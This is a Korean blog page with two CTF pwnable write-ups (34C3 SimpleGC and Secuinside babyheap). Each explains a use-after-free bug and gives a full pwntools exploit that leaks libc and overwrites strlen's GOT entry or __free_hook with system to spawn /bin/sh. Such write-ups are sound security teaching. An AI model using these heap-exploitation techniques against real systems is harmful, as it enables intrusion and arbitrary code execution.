'uaf'에 해당되는 글 2건

  1. 2018.01.07 [34C3 CTF_2017] SimpleGC(pwnable)
  2. 2017.07.20 [Secuinside CTF_2017] babyheap(pwn)
2018. 1. 7. 17:56

## 34C3 CTF_2017(simpleGC, pwn)


[Summary]

1. C로 Garbage Collection을 구현한 프로그램에서 UAF취약점을 이용하는 문제이다.

2. user Add를 하는 과정에서 group을 변경해도 group의 reference Count가 줄어들지 않는다.

=> 이를 이용하여 byte형 refcount를 0x00으로 만든 후

=> Garbage Collection 스레드에 의해 free된다.

3. user3의 구조체와 과 user1의 group_name 구조체가 공유되도록 만든다.

=> group_name에 strlen got로 변조하면 

=> user3의 group_name_ptr이 strlen got로 변하게 되고

=> leak과 got overwrite가 가능해짐

4. 원래는 libc 2.26버젼에 새롭게 추가된 t-cache를 우회해야 리모트 exploit이 가능.

=> 관련 내용은 차후 추가 예정..


[Exploit Code]  - sgc_exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
from pwn import *
#import hexdump
 
context(arch='amd64',os='linux')
local=True
#local=False
 
if local:
    #local_libc = ELF("./libc-2.26.so")
    #p = process("./sgc", env={'LD_PRELOAD':local_libc.path})
    p = process("./sgc")
else:
    #remote_libc = ELF("./libc.so.6")
    p = remote("35.198.176.224"1337)
 
binary = ELF("./sgc")
libc = binary.libc
 
raw_input()
 
def print_menu():
    print p.recvuntil("Action: ")
 
def add_user(user_name, group_name, age):
    print_menu()
    p.send('0\n')
    print p.recvuntil("name: ")
    p.send(user_name+'\n')
    print p.recvuntil("group: ")
    p.send(group_name+'\n')
    print p.recvuntil("age: ")
    p.send(str(age)+'\n')
 
def display_user(user_idx):
    print_menu()
    p.send('2\n')
    print p.recvuntil("index: ")
    p.send(str(user_idx)+'\n')
    response = p.recvuntil("0: Add a user")
    return response
 
def edit_group(user_idx, prop, group_name):
    print_menu()
    p.send('3\n')
    print p.recvuntil("index: ")
    p.send(str(user_idx)+'\n')
    print p.recvuntil("group(y/n): ")
    p.send(prop+'\n')
    print p.recvuntil("name: ")
    p.send(group_name+'\n')
 
def delete_user(user_idx):
    print_menu()
    p.send('4\n')
    print p.recvuntil("index: ")
    p.send(str(user_idx)+'\n')
 
if __name__ == '__main__':
    
    ##############################################
    # Stage 1 : overflow group's reference count #
    ##############################################
    for i in xrange(255):
        add_user("AAAA""groupA"10)
        edit_group(0"n""groupC")
        delete_user(0)
    
    add_user("B"*31"groupB"20)
    add_user("A"*31"groupA"20)    # overflow refCnt & user link groupA(freed by GC => free group, group_name_ptr)
    
    ####################################
    # Stage 2 : Trigger UAF & got leak #
    ####################################
    add_user("B"*31"groupB"20)    # group_name_ptr
    add_user("B"*31"groupB"20)    # group
    
    strlen_got = binary.got['strlen']
    edit_group(1"y", p64(20)+p64(strlen_got)+p64(strlen_got))
    response = display_user(3)
    
    strlen_addr = u64(response[response.find("Name: ")+6:response.find("Name: ")+12+ "\x00\x00")
    libc_base = strlen_addr - libc.symbols['strlen']
    system_addr = libc_base + libc.symbols['system']
 
    print "[+] libc base addr : " + hex(libc_base)
    print "[+] system addr : " + hex(system_addr)
    
    #############################################
    # Stage 3-1 : Overwrite got(strlen->system) #
    # Stage 3-2 : make system("/bin/sh")        #
    #############################################
    edit_group(3"y", p64(system_addr))
    add_user("/bin/sh""groupD"20)
    
    p.interactive()
 
cs


[Reference]

1. https://github.com/epadctf/34c3/blob/master/SimpleGC/win.py

2. https://github.com/bkth/34c3ctf/tree/master/SimpleGC

2. http://tukan.farm/2017/07/08/tcache/

'CTF writeup' 카테고리의 다른 글

[34C3 CTF_2017] readme_revenge(pwnable)  (0) 2018.01.22
[HITCON CTF_2017] start(pwnable)  (0) 2017.11.22
[CSAW CTF_2017] prophecy(reversing)  (0) 2017.09.21
[HDCON_2017] Fabuary(reversing)  (0) 2017.09.21
[ASIS CTF_2017] mrs. hudson(pwnable)  (0) 2017.09.13
Posted by holinder4S
2017. 7. 20. 06:55

## Secuinside CTF_2017(babyheap, pwn)


[Summary]

1. realloc(0)이 free()역할을 하는 점을 이용한 UAF 취약점


2. 멤버를 0xff, 0x1만큼 추가하여 0xff만큼 할당시킨 후 realloc(0)이 되게 만들어 free()를 한다.


3. 팀을 0x7f8(0xff * 0x8)의 크기로 create하면 2번에서 free된 자리에 할당된다.
    (이 때 팀의 description에는 __free_got주소를 넣는다.)


4. manage_member 기능을 활용하여 0x7f8의 0번째에 system함수주소를 덮어씌운다.(UAF)
    (__free_got주소안에 system함수 주소를 넣는다.)


5. delete member기능을 이용하여 free()를 하면 system('/bin/sh')이 실행된다.
    (이 때 멤버의 description에는 "/bin/sh\x00"문자열이 들어있어야 한다.)


6. Leak은 팀을 생성한 후 멤버를 0xff만큼 추가하고 멤버 한명을 삭제하면
    fd,bk쪽에 빈리스트의 주소가 저장되는데 이를 릭한 후 오프셋 계산을 통해 libc base를 계산한다.
    (마찬가지로 system주소, __free_got도 계산)


7. Heap Leak도 할 수 있지만 여기서는 필요 없다.



[Analysis] 

  시간 나면 업데이트 예정..(근데 summary에 너무 자세하게 설명했다.)

 이 문제는 대회때는 Heap 주소 릭까지만 하고 그 이후는 진전이 없었던 문제이다. 대회가 끝난 후 WriteUp을 

참고하여 문제를 풀 수 있었다. 열심히 공부해야겠다..


[Exploit Code] - babyheap_exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
from pwn import *
import os
#import hexdump
 
context(arch='amd64',os='linux')
local=True
#local=False
 
if local:
    #env = {"LD_PRELOAD": os.path.join(os.getcwd(), "./libc.so.6")}
    p = process("./babyheap")
else:
    p = remote("13.124.157.141"31337)
 
binary = ELF("./babyheap")
 
raw_input()
 
def print_menu():
    print p.recvuntil('>')
 
def create_team(length, desc):
    print_menu()
    p.send('1\n')
    print p.recvuntil('length :')
    p.send(length+'\n')
    print p.recvuntil('Description :')
    p.send(desc)
 
def manager_team(index):
    print_menu()
    p.send('3\n')
    print p.recvuntil('Index :')
    p.send(index+'\n')
 
def list_team(team_cnt):
    print_menu()
    p.send('4\n')
    for i in xrange(team_cnt):
        print p.recvuntil('Description : ')
        if (i+1== team_cnt:
            leak = p.recv(6); print leak
            return leak
 
def add_member(employment_cnt):
    print_menu()
    p.send('1\n')
    print p.recvuntil('employment :')
    p.send(employment_cnt+'\n')
    
def add_member_info(name, desc):
    print p.recvuntil('Name :')
    p.send(name)
    print p.recvuntil('Description :')
    p.send(desc)
 
def delete_member(index):
    print_menu()
    p.send('2\n')
    print p.recvuntil('Index :')
    p.send(index+'\n')
 
def manage_member(index, desc):
    print_menu()
    p.send('4\n')
    print p.recvuntil('Index :')
    p.send(index+'\n')
    print p.recvuntil('Description :')
    p.send(desc)
 
def return2team():
    print_menu()
    p.send('5\n')
    
 
if __name__ == '__main__':
    #################### Stage 1 ###################
    #     libc base leak & calc libc's free_hook   #
    ################################################
    create_team(str(5), 'AAAA')    # 0 team
    manager_team('0')
    
    emp_cnt = 0xff
    add_member(str(emp_cnt))
    for i in xrange(emp_cnt):
        add_member_info('/bin/sh\x00','/bin/sh\x00')
    
    delete_member('0')
    return2team()
    create_team(str(0xc8), '\n')    # 1 team+0x16~ : free list's addr
 
    libc_leak = u64(list_team(2)+"\x00\x00"); print hex(libc_leak)
    libc_base = libc_leak - 0x3c270a
    free_hook = libc_base + 0x3c4a10
    system = libc_base + 0x46590
    print "[+] libc base addr : " + hex(libc_base)
    print "[+] libc free_hook : " + hex(free_hook)
    print "[+] system addr : " + hex(system)
    ################### Stage 2 ####################
    #   overwrite __free_hook to system using UAF  #
    ################################################
    manager_team('0')
    add_member('1')        # realloc(0) => free()
    return2team()
 
    create_team(str(0x7f8), p64(free_hook)+'\n')    # 0xff*0x8 = 0x7f8 => uaf
    manager_team('0')
    manage_member('0', p64(system))    # overwrite free_hook to system(uaf)
    
    delete_member('4')    # triggering to free(overwritten system)
 
 
    p.interactive()
 
cs


Posted by holinder4S